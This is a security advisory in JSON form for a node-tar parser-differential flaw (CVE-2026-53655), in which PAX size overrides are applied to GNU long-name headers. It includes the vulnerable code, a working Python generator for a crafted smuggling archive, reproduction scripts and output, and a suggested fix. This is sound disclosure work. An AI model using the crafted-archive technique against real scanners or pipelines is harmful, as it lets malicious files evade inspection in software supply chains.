CVE-2026-53655: Tar Node-tar Applies PAX Size Override Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-vmf3-w455-68vh",
  "modified" : "2026-06-15T17:19:42Z",
  "published" : "2026-06-15T17:19:42Z",
  "aliases" : [ "CVE-2026-53655" ],
  "summary" : "node-tar applies PAX size override to intermediary GNU long-name/long-link headers, causing tar parser interpretation differential (file smuggling)",
  "details" : "### Summary\n\n`tar` (node-tar) applies a PAX extended header's `size=` record (and other PAX\noverrides) to the **next header entry of any type**, including intermediary\nmetadata headers such as a GNU long-name (`L`) or long-link (`K`) entry. Per\nPOSIX pax, a PAX extended header (`x`) describes the *next file entry*, not the\nintermediary extension headers that may sit between the `x` header and the file\nit annotates. Because node-tar lets the PAX `size` override the byte length of\nan intervening `L`/`K`/`x` header, an attacker can desynchronize node-tar's\nstream cursor relative to every other mainstream tar implementation\n(GNU tar, libarchive/bsdtar, Python `tarfile`, and the now-fixed `tar-rs` /\n`astral-tokio-tar`).\n\nThe result is a tar parser **interpretation differential** (CWE-436): a single\ncrafted archive yields a different set of members under node-tar than under the\nreference tar tools. An attacker can use this to hide a member from one parser\nwhile it is visible to another, which defeats security tooling whose scanner and\nextractor disagree on archive contents (e.g. a malware/secret scanner that lists\nentries with one library while a downstream step extracts with another). node-tar\nis one of the most widely deployed JavaScript tar libraries (it backs `npm`'s own\npackage-tarball handling and is a transitive dependency of a very large fraction\nof the npm ecosystem), so the blast radius for \"files that extract differently\ndepending on the tool\" is broad.\n\nThis is the same root cause and fix that was just addressed upstream in the Rust\ntar ecosystem (`tar-rs` / `astral-tokio-tar`); node-tar carries the equivalent\ndefect and has no equivalent guard.\n\n### Impact\n\n- CWE-436 Interpretation Conflict / inconsistent tar parsing (the same class as\n  the prior tar \"smuggling\" advisories GHSA-j5gw-2vrg-8fgx and\n  GHSA-fp55-jw48-c537).\n- A crafted archive can present one logical member list to a tool that lists or\n  scans with node-tar and a different member list to GNU tar / libarchive /\n  Python tarfile (and vice versa). This lets a malicious file be hidden from a\n  scanner that uses a different parser than the eventual extractor, or hidden\n  from node-tar-based inspection while still landing on disk via a system `tar`.\n- No authentication is required; the only precondition is that a victim parses\n  an attacker-supplied tar with node-tar. Tar archives are routinely fetched\n  from untrusted sources (package registries, user uploads, CI artifacts,\n  container layers).\n- Severity: Medium. Impact is integrity-of-archive-interpretation, not direct\n  RCE; it is a building block for supply-chain / scanner-evasion attacks rather\n  than a standalone code-execution primitive.\n\n### Vulnerable code (file:line)\n\n`src/header.ts` (compiled to `dist/esm/header.js:49` and\n`dist/commonjs/header.js:85` in the published `tar@7.5.15`):\n\n```ts\n// Header.decode(buf, off, ex, gex)\nthis.size = ex?.size ?? gex?.size ?? decNumber(buf, off + 124, 12)\n```\n\n`ex` is the currently-accumulated PAX **local** extended header and `gex` the\nPAX **global** header. The `size` override from `ex`/`gex` is applied\nunconditionally to whatever header is being decoded next — there is no check\nthat the header being decoded is a real *file* entry rather than an intermediary\nextension header.\n\n`src/parse.ts`, `[CONSUMEHEADER]` constructs the next header with the current\n`EX`/`GEX` applied:\n\n```ts\nconst header = new Header(chunk, position, this[EX], this[GEX])\n```\n\nand later branches on whether that header is a metadata entry. `this[EX]` is\ncleared only in the non-meta (real file) branch:\n\n```ts\nif (entry.meta) {\n  // L / K / x / g metadata entries: this[EX] is left intact here\n  if (entry.size > this.maxMetaEntrySize) {\n    entry.ignore = true\n    this[STATE] = 'ignore'\n    entry.resume()\n  } else if (entry.size > 0) {\n    this[META] = ''\n    entry.on('data', c => (this[META] += c))\n    this[STATE] = 'meta'\n  }\n} else {\n  this[EX] = undefined   // EX cleared only once a real file entry is reached\n}\n```\n\nWhen the stream is ordered `x (PAX, size=N) -> L (GNU long-name) -> file`, the\n`L` header is constructed with `this[EX]` still set, so its `size`/`remain`\nbecomes `N` instead of the `L` payload's true length. node-tar then consumes `N`\nbytes of \"metadata\" and resumes header parsing at the wrong offset, landing\nmid-stream. Every other mainstream parser applies the PAX `size` only to the\nfollowing *file* entry, so they stay synchronized.\n\nThe correct behavior (and the fix shipped upstream in the Rust tar ecosystem) is\nto **not** apply PAX `size`/overrides when the entry being decoded is itself an\nextension header (`L` GNU long-name, `K` GNU long-link, `x` PAX local, `g` PAX\nglobal).\n\n### How input reaches the sink\n\n`tar.list()`, `tar.extract()`/`tar.x()`, and `tar.Parse`/`tar.Unpack` all route\nevery 512-byte header block through `Header.decode(...)` with the\ncurrently-accumulated `EX`/`GEX`. Any consumer that parses an attacker-supplied\narchive — `tar.list`, `tar.extract`, or piping into the streaming `Parser` —\nreaches the sink. No options need to be enabled; the default code path is\naffected.\n\n### Proof of concept\n\nArchive layout (all standard, GNU-tar-producible blocks):\n\n```\nblock 0 : x  header  (PAX local extended, typeflag 'x'), its own size = len(pax body)\nblock 1 : x  payload : the single PAX record  \"...size=2048\\n\"\nblock 2 : L  header  (GNU long-name '././@LongLink'), real size = 13\nblock 3 : L  payload : \"longname.txt\\0\"      (the long name for the next file)\nblock 4 : file header 'file_a', size = 16\nblock 5 : file_a body (16 bytes, zero-padded to 512)\nblock 6 : file header 'file_b', size = 16\nblock 7 : file_b body (16 bytes, zero-padded to 512)\n```\n\nGenerator (`make_tar.py`, pure stdlib, no external deps):\n\n```python\ndef hdr(name, size, typeflag):\n    h = bytearray(512); name = name[:100]; h[0:len(name)] = name\n    h[100:108] = b'0000644\\0'; h[108:116] = b'0000000\\0'; h[116:124] = b'0000000\\0'\n    h[124:136] = ('%011o\\0' % size).encode(); h[136:148] = b'00000000000\\0'\n    h[156:157] = typeflag; h[257:263] = b'ustar\\0'; h[263:265] = b'00'\n    h[148:156] = b' ' * 8\n    cs = sum(h); h[148:156] = ('%06o\\0 ' % cs).encode()\n    return bytes(h)\n\ndef pad(d):\n    return d + b'\\0' * ((512 - len(d) % 512) % 512)\n\ndef pax_record(key, val):              # length-prefixed PAX record \"LEN key=val\\n\"\n    body = b' %s=%s\\n' % (key.encode(), str(val).encode()); n = len(body)\n    while True:\n        s = str(n).encode() + body\n        if len(s) == n: break\n        n = len(s)\n    return s\n\npax = pax_record('size', 2048)         # malicious: claim size=2048 for the \"next\" entry\nout  = hdr(b'PaxHeaders/x', len(pax), b'x') + pad(pax)\nout += hdr(b'././@LongLink', 13, b'L') + pad(b'longname.txt\\0')\nout += hdr(b'file_a', 16, b'0')        + pad(b'AAAA_file_a_body')\nout += hdr(b'file_b', 16, b'0')        + pad(b'BBBB_file_b_body')\nout += b'\\0' * 1024\nopen('pax-desync.tar', 'wb').write(out)\n```\n\nA negative-control archive is identical except the PAX record is\n`pax_record('comment', 'x')` (no `size=`), written to `pax-control.tar`.\n\n### End-to-end reproduction (against pinned version `tar@7.5.15`, latest release)\n\nInstall the published package into a clean project and parse both archives:\n\n```\n$ npm init -y >/dev/null && npm install tar@7.5.15\n$ node -e \"console.log(require('tar/package.json').version)\"\n7.5.15\n$ grep -n \"ex?.size ?? gex?.size\" node_modules/tar/dist/esm/header.js\n49:        this.size = ex?.size ?? gex?.size ?? decNumber(buf, off + 124, 12);\n```\n\n`e2e.mjs`:\n\n```js\nimport * as tar from 'tar'\nasync function listEntries(f){\n  const got=[], warns=[]\n  await tar.list({ file:f, onReadEntry:e=>{ got.push({path:e.path,size:e.size,type:e.type}); e.resume() },\n                   onwarn:(code,_msg)=>warns.push(code) })\n  return { got, warns }\n}\nconst mal = await listEntries('pax-desync.tar')\nconsole.log('MALICIOUS entries :', JSON.stringify(mal.got), 'warnings:', JSON.stringify(mal.warns))\nconst ctl = await listEntries('pax-control.tar')\nconsole.log('CONTROL  entries :', JSON.stringify(ctl.got), 'warnings:', JSON.stringify(ctl.warns))\n```\n\nVerbatim output:\n\n```\n=== Deployed-consumer E2E: npm tar@7.5.15 (latest release) ===\n\n[MALICIOUS] archive = x(PAX size=2048) -> L(GNU longname \"longname.txt\") -> file_a(16B) -> file_b(16B)\n  tar.list() entries : []\n  tar.list() warnings: [\"TAR_ENTRY_INVALID\"]\n\n[NEGATIVE CONTROL] same archive, PAX record is \"comment=x\" (no size= override)\n  tar.list() entries : [{\"path\":\"longname.txt\",\"size\":16,\"type\":\"File\"},{\"path\":\"file_b\",\"size\":16,\"type\":\"File\"}]\n  tar.list() warnings: []\n```\n\nReference parsers on the **same** `pax-desync.tar`:\n\n```\n$ tar tvf pax-desync.tar\n-rw-r--r--  0 0      0        2048 Jan  1  1970 longname.txt          # GNU tar\n\n$ bsdtar tvf pax-desync.tar\n-rw-r--r--  0 0      0        2048 Jan  1  1970 longname.txt          # libarchive\n\n$ python3 -c \"import tarfile; print([m.name for m in tarfile.open('pax-desync.tar').getmembers()])\"\n['longname.txt']                                                      # Python tarfile\n```\n\nInterpretation differential: GNU tar, libarchive (bsdtar), and Python `tarfile`\nall extract the member `longname.txt` from `pax-desync.tar`, whereas node-tar\n`7.5.15` desynchronizes, raises `TAR_ENTRY_INVALID` (checksum failure from\nlanding mid-stream), and reports **zero** members. The negative control proves\nthe divergence is caused solely by the PAX `size=` override being applied to the\nintermediary `L` header — when the same archive carries a PAX record without\n`size=`, node-tar parses it identically to the reference tools\n(`longname.txt`, `file_b`).\n\n### Suggested fix\n\nWhen decoding a header, do not apply PAX `size` (or other PAX overrides) if the\nheader being decoded is itself an extension header. Concretely, in\n`src/parse.ts` clear/ignore `this[EX]` (and `this[GEX]` for `size`) when the\nheader's type is `ExtendedHeader`, `GlobalExtendedHeader`, `NextFileHasLongPath`\n(GNU `L`), or `NextFileHasLongLinkpath` (GNU `K`); equivalently, in\n`Header.decode`, gate the `ex?.size ?? gex?.size` override on the decoded type\nnot being one of those extension types. This mirrors the upstream Rust fix,\nwhich guards `pax_size` with\n`is_gnu_longname || is_gnu_longlink || is_pax_local_extensions || is_pax_global_extensions`.\n\nA fix PR is being prepared against a private fork and will be linked here.\n\n### Fix PR\n\nTo be linked from a private fork of the repository (the fix will not be pushed\nto any public fork or to upstream during embargo).\n\n### Credits\n\nReported by tonghuaroot.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "tar"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "7.5.16"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 7.5.15"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/isaacs/node-tar/security/advisories/GHSA-vmf3-w455-68vh"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/isaacs/node-tar"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-436" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-15T17:19:42Z",
    "nvd_published_at" : null
  }
}